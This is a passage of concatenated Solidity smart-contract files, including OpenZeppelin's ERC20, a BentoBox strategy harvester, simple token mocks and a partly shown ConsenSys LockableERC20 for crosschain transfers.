// withdraw the requested amount of tokens from the investment to address(this)
}
function _exit() internal override {
// see what the available amount of tokens to withdraw is
// withdraw as much tokens as possible from the investment to address(this)
// should not revert
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: GPL-v3
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IBentoBoxMinimal.sol";
pragma solidity 0.8.7;
interface ISafeStrategy {
function safeHarvest(
uint256 maxBalance,
bool rebalance,
uint256 maxChangeAmount,
bool harvestRewards
) external;
function swapExactTokensForUnderlying(uint256 amountOutMin, uint256 pathIndex) external;
function strategyToken() external view returns(address);
}
// πππ
contract CombineHarvester is Ownable {
IBentoBoxMinimal immutable public bentoBox;
constructor(address _bentoBox) {
bentoBox = IBentoBoxMinimal(_bentoBox);
}
function executeSafeHarvestsManual(
ISafeStrategy[] calldata strategies,
uint256[] calldata maxBalances, // strategy sandwich protection
bool[] calldata rebalances,
uint256[] calldata maxChangeAmounts, // can be set to 0 to allow for full withdrawals / deposits from / to strategy
bool[] calldata harvestRewards,
uint256[] calldata minOutAmounts
) external onlyOwner {
for (uint256 i = 0; i < strategies.length; i++) {
strategies[i].safeHarvest(maxBalances[i], rebalances[i], maxChangeAmounts[i], harvestRewards[i]);
if (minOutAmounts[i] != 0) {
strategies[i].swapExactTokensForUnderlying(minOutAmounts[i], 0);
}
}
}
function executeSafeHarvests(
ISafeStrategy[] calldata strategies,
uint256[] calldata maxChangeAmounts, // can be set to 0 to allow for full withdrawals / deposits from / to strategy
bool[] calldata harvestRewards,
uint256[] calldata minOutAmounts
) external onlyOwner {
for (uint256 i = 0; i < strategies.length; i++) {
strategies[i].safeHarvest(0, _rebalanceNecessairy(strategies[i]), maxChangeAmounts[i], harvestRewards[i]);
if (minOutAmounts[i] != 0) {
strategies[i].swapExactTokensForUnderlying(minOutAmounts[i], 0);
}
}
}
// returns true if strategy balance differs more than -+1% from the strategy target balance
function _rebalanceNecessairy(ISafeStrategy strategy) public view returns (bool) {
address token = strategy.strategyToken();
IBentoBoxMinimal.StrategyData memory data = bentoBox.strategyData(token);
uint256 targetStrategyBalance = bentoBox.totals(token).elastic * data.targetPercentage / 100; // targetPercentage β [0, 100]
if (data.balance == 0) return targetStrategyBalance != 0;
uint256 ratio = targetStrategyBalance * 100 / data.balance;
return ratio >= 101 || ratio <= 99;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ERC20Mock is ERC20 {
constructor() ERC20("","") {
_mint(msg.sender, 1e20);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import "./ERC20.sol";
contract stkAAVE is ERC20Mock {
function stakersCooldowns(address) external pure returns(uint256) {
return 0;
}
}
|
@notice Minimal interface for BentoBox token vault interactions - `token` is aliased as `address` from `IERC20` for code simplicity.
|
interface IBentoBoxMinimal {
struct Rebase {
uint128 elastic;
uint128 base;
}
struct StrategyData {
uint64 strategyStartDate;
uint64 targetPercentage;
}
}
| 1,183,045
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/*
* Copyright 2021 ConsenSys Software Inc
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
pragma solidity ^0.8.0;
import "../../../../../contracts/contracts/src/openzeppelin/utils/Context.sol";
import "../../../../../contracts/contracts/src/openzeppelin/token/ERC20/IERC20.sol";
import "../../../../../contracts/contracts/src/openzeppelin/token/ERC20/extensions/IERC20Metadata.sol";
import "../../../../../contracts/contracts/src/openzeppelin/access/Ownable.sol";
import "../../../../../contracts/contracts/src/application/lockablestorage/LockableStorage.sol";
/**
* Implementation of the {IERC20} interface that provides lockable storage for
* use with GPACT. The implementation is based on the OpenZeppelin ERC20 contract.
*
* Lockable storage means that tokens in the contract can be part of a crosschain
* call. See CrosschainERC20 for additional functions that allow tokens to be
* transferred across blockchains.
*/
abstract contract LockableERC20 is
Context,
IERC20,
IERC20Metadata,
Ownable,
LockableStorage
{
// Number of crosschain transfers to or from an account that can
// execute in parallel.
uint256 public accountPallelizationFactor;
// Number of crosschain transfers to or from all accounts held by this
// ERC20 contract that can execute in parallel.
uint256 public erc20PallelizationFactor;
// Balances, allowances, and totoal supply are stored are two
// separate structures: an ADD and a SUB. Each has a mapping as
// the inner map which is really an array, where the length is
// controlled by the Parallelization Factor. The value held is:
// SUM(_ADD(for all indices)) - SUM(_SUB(for all indices))
// mapping (address => mapping (index => uint256))
uint256 private constant BALANCES_ADD = 0;
uint256 private constant BALANCES_SUB = 1;
// mapping (address => mapping (address => mapping(index => uint256))) private _allowances;
uint256 private constant ALLOWANCES_ADD = 2;
uint256 private constant ALLOWANCES_SUB = 3;
// mapping(index => uint256)
uint256 private constant TOTAL_SUPPLY_ADD = 4;
uint256 private constant TOTAL_SUPPLY_SUB = 5;
// Token name and symbol are immutable.
string private erc20Name;
string private erc20Symbol;
mapping(address => bool) internal trustedErc20Bridges;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory _name,
string memory _symbol,
address _cbc
) LockableStorage(_cbc) {
erc20Name = _name;
erc20Symbol = _symbol;
accountPallelizationFactor = 5;
erc20PallelizationFactor = 10;
}
function increaseAccountParallelizartionFactor(uint256 amount)
external
onlyOwner
{
accountPallelizationFactor += amount;
}
function increaseERC20ParallelizartionFactor(uint256 amount)
external
onlyOwner
{
erc20PallelizationFactor += amount;
}
function addTrustedBridge(address bridge) external onlyOwner {
trustedErc20Bridges[bridge] = true;
emit TrustedBridge(bridge, true);
}
function removeTrustedBridge(address bridge) external onlyOwner {
trustedErc20Bridges[bridge] = false;
emit TrustedBridge(bridge, false);
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
transferInternal(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
require(cbc.isSingleBlockchainCall(), "Must be single blockchain call");
approveInternal(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
transferFromInternal(spender, sender, recipient, amount);
return true;
}
/**
* Allow a trusted bridge to transfer from a specific account.
*/
function transferFromAccount(
address spender,
address sender,
address recipient,
uint256 amount
) public virtual {
require(trustedErc20Bridges[msg.sender], "ERC20: not trusted bridge");
transferFromInternal(spender, sender, recipient, amount);
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
increaseAllowanceInternal(_msgSender(), spender, addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = allowanceMin(_msgSender(), spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
decreaseAllowanceInternal(_msgSender(), spender, subtractedValue);
return true;
}
/************************************************************************/
/************************************************************************/
/***** VIEW BELOW HERE *****/
/************************************************************************/
/************************************************************************/
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return erc20Name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return erc20Symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* Returns the total supply, ignoring any provisional updates.
*/
function totalSupply() public view virtual override returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total += getMapValueCommitted(TOTAL_SUPPLY_ADD, i);
}
// There is no checks for totalSupply going negative. It should be
// impossible for total supply to go negative, as it is only adjusted
// in line with balances being burned.
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total -= getMapValueCommitted(TOTAL_SUPPLY_SUB, i);
}
return total;
}
/**
* Returns the total supply, assuming all provisional updates are applied.
*/
function totalSupplyProvisional() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total += getMapValueProvisional(TOTAL_SUPPLY_ADD, i);
}
// There is no checks for totalSupply going negative. It should be
// impossible for total supply to go negative, as it is only adjusted
// in line with balances being burned.
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total -= getMapValueProvisional(TOTAL_SUPPLY_SUB, i);
}
return total;
}
/**
* Returns the total supply, assuming all negative provisional updates are applied.
*/
function totalSupplyMin() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total += getMapValueCommitted(TOTAL_SUPPLY_ADD, i);
}
// There is no checks for totalSupply going negative. It should be
// impossible for total supply to go negative, as it is only adjusted
// in line with balances being burned.
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total -= getMapValueProvisional(TOTAL_SUPPLY_SUB, i);
}
return total;
}
/**
* Returns the total supply, assuming all positive provisional updates are applied.
*/
function totalSupplyMax() public view returns (uint256) {
uint256 total = 0;
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total += getMapValueProvisional(TOTAL_SUPPLY_ADD, i);
}
// There is no checks for totalSupply going negative. It should be
// impossible for total supply to go negative, as it is only adjusted
// in line with balances being burned.
for (uint256 i = 0; i < erc20PallelizationFactor; i++) {
total -= getMapValueCommitted(TOTAL_SUPPLY_SUB, i);
}
return total;
}
/**
* Balance assuming no provisional updates are applied.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
uint256 acc = uint256(uint160(account));
uint256 balance = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance += getDoubleMapValueCommitted(BALANCES_ADD, acc, i);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance -= getDoubleMapValueCommitted(BALANCES_SUB, acc, i);
}
return balance;
}
/**
* Balance assuming all provisional updates are applied.
*/
function balanceOfProvisional(address account)
public
view
returns (uint256)
{
uint256 acc = uint256(uint160(account));
uint256 balance = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance += getDoubleMapValueProvisional(BALANCES_ADD, acc, i);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance -= getDoubleMapValueProvisional(BALANCES_SUB, acc, i);
}
return balance;
}
/**
* Balance assuming all provisional withdraws are applied and no provisional
* deposits are applied.
*/
function balanceOfMin(address account) public view returns (uint256) {
uint256 acc = uint256(uint160(account));
uint256 balance = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance += getDoubleMapValueCommitted(BALANCES_ADD, acc, i);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
balance -= getDoubleMapValueProvisional(BALANCES_SUB, acc, i);
}
return balance;
}
/**
* Return the amount committed, ignoring any provisional updates.
*
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
uint256 total = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total += getTripleMapValueCommitted(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total -= getTripleMapValueCommitted(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
);
}
return total;
}
function allowanceMin(address owner, address spender)
public
view
returns (uint256)
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
uint256 total = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total += getTripleMapValueCommitted(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total -= getTripleMapValueProvisional(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
);
}
return total;
}
function allowanceMax(address owner, address spender)
public
view
returns (uint256)
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
uint256 total = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total += getTripleMapValueProvisional(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total -= getTripleMapValueCommitted(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
);
}
return total;
}
function allowanceProvisional(address owner, address spender)
public
view
returns (uint256)
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
uint256 total = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total += getTripleMapValueProvisional(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
);
}
// There are no checks for balance going negative as this should be
// impossible.
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
total -= getTripleMapValueProvisional(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
);
}
return total;
}
/************************************************************************/
/************************************************************************/
/***** PRIVATE AND INTERNAL BELOW HERE *****/
/************************************************************************/
/************************************************************************/
function transferFromInternal(
address spender,
address sender,
address recipient,
uint256 amount
) private {
transferInternal(sender, recipient, amount);
uint256 currentAllowance = allowanceMin(sender, spender);
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
decreaseAllowanceInternal(sender, spender, amount);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function transferInternal(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
decreaseBalance(sender, amount);
increaseBalance(recipient, amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function mintInternal(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
increaseTotalSupply(amount);
increaseBalance(account, amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function burnInternal(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
decreaseTotalSupply(amount);
decreaseBalance(account, amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* Emits an {Approval} event.
*
* Requirements:
* - All allowance slots must be unlocked.
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function approveInternal(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
uint256 total = 0;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
require(
!isTripleMapValueLocked(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
),
"Increase allowance slot locked"
);
total += getTripleMapValue(ALLOWANCES_ADD, ownerAcc, spenderAcc, i);
}
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
require(
!isTripleMapValueLocked(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
),
"Decrease allowance slot locked"
);
total -= getTripleMapValue(ALLOWANCES_SUB, ownerAcc, spenderAcc, i);
}
if (total < amount) {
uint256 cur = getTripleMapValue(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
0
);
setTripleMapValue(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
0,
cur + amount - total
);
} else if (total > amount) {
uint256 cur = getTripleMapValue(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
0
);
setTripleMapValue(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
0,
cur + total - amount
);
}
emit Approval(owner, spender, amount);
}
function increaseAllowanceInternal(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
if (
!isTripleMapValueLocked(ALLOWANCES_ADD, ownerAcc, spenderAcc, i)
) {
foundUnlockedSlot = true;
uint256 cur = getTripleMapValue(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i
);
setTripleMapValue(
ALLOWANCES_ADD,
ownerAcc,
spenderAcc,
i,
cur + amount
);
break;
}
}
require(foundUnlockedSlot, "All increase allowance slots in use");
emit ApprovalIncrease(owner, spender, amount);
}
function decreaseAllowanceInternal(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
uint256 ownerAcc = uint256(uint160(owner));
uint256 spenderAcc = uint256(uint160(spender));
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
if (
!isTripleMapValueLocked(ALLOWANCES_SUB, ownerAcc, spenderAcc, i)
) {
foundUnlockedSlot = true;
uint256 cur = getTripleMapValue(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i
);
setTripleMapValue(
ALLOWANCES_SUB,
ownerAcc,
spenderAcc,
i,
cur + amount
);
break;
}
}
require(foundUnlockedSlot, "All decrease allowance slots in use");
emit ApprovalDecrease(owner, spender, amount);
}
function increaseBalance(address account, uint256 amount) internal {
require(
account != address(0),
"ERC20: recipient account is zero address"
);
uint256 accAddr = uint256(uint160(account));
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
if (!isDoubleMapValueLocked(BALANCES_ADD, accAddr, i)) {
foundUnlockedSlot = true;
uint256 cur = getDoubleMapValue(BALANCES_ADD, accAddr, i);
setDoubleMapValue(BALANCES_ADD, accAddr, i, cur + amount);
break;
}
}
require(foundUnlockedSlot, "All increase balance slots in use");
}
function decreaseBalance(address account, uint256 amount) internal {
require(account != address(0), "ERC20: From account: zero address");
uint256 accountBalance = balanceOfMin(account);
require(
accountBalance >= amount,
"ERC20: amount exceeds min balance of from account"
);
uint256 accAddr = uint256(uint160(account));
bool foundUnlockedSlot = false;
for (uint256 i = 0; i < accountPallelizationFactor; i++) {
if (!isDoubleMapValueLocked(BALANCES_SUB, accAddr, i)) {
foundUnlockedSlot = true;
uint256 cur = getDoubleMapValue(BALANCES_SUB, accAddr, i);
setDoubleMapValue(BALANCES_SUB, accAddr, i, cur + amount);
break;
}
}
